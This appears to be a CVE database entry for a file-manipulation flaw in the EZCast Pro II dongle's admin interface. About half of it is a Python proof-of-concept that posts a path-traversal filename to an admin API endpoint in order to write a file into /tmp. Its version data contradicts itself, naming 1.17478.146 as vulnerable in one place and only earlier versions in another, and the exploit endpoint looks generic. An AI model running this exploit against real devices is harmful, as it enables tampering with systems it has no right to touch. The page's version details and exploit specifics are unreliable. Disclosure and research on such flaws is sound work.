Security Vulnerability Report
中文
CVE-2026-24347 CVSS 5.3 MEDIUM

CVE-2026-24347

Published: 2026-01-27 10:15:49
Last Modified: 2026-02-05 17:31:57

Description

Improper input validation in Admin UI of EZCast Pro II version 1.17478.146 allows attackers to manipulate files in the /tmp directory

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:nimbletech:ezcast_pro_dongle_ii_firmware:1.17478.146:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:nimbletech:ezcast_pro_dongle_ii:-:*:*:*:*:*:*:* - NOT VULNERABLE
EZCast Pro II < 1.17478.146

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-24347 PoC - EZCast Pro II Input Validation Issue # Target: EZCast Pro II Admin UI # Vulnerability: Improper input validation in /tmp directory file operations TARGET_IP = "192.168.1.100" TARGET_URL = f"http://{TARGET_IP}/admin/api/temp_file" def exploit_cve_2026_24347(): """ PoC for CVE-2026-24347 This demonstrates improper input validation allowing file manipulation in /tmp """ # Malicious payload to write file to /tmp directory payload = { 'filename': '../../tmp/pwned_file.txt', 'content': 'COMPROMISED BY CVE-2026-24347' } try: # Send exploit request (authentication may be required depending on config) response = requests.post(TARGET_URL, data=payload, timeout=10) if response.status_code == 200: print("[+] Exploit sent successfully") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2026-24347 PoC") print("Target: EZCast Pro II < 1.17478.146") exploit_cve_2026_24347()

References

Raw JSON Data

JSON
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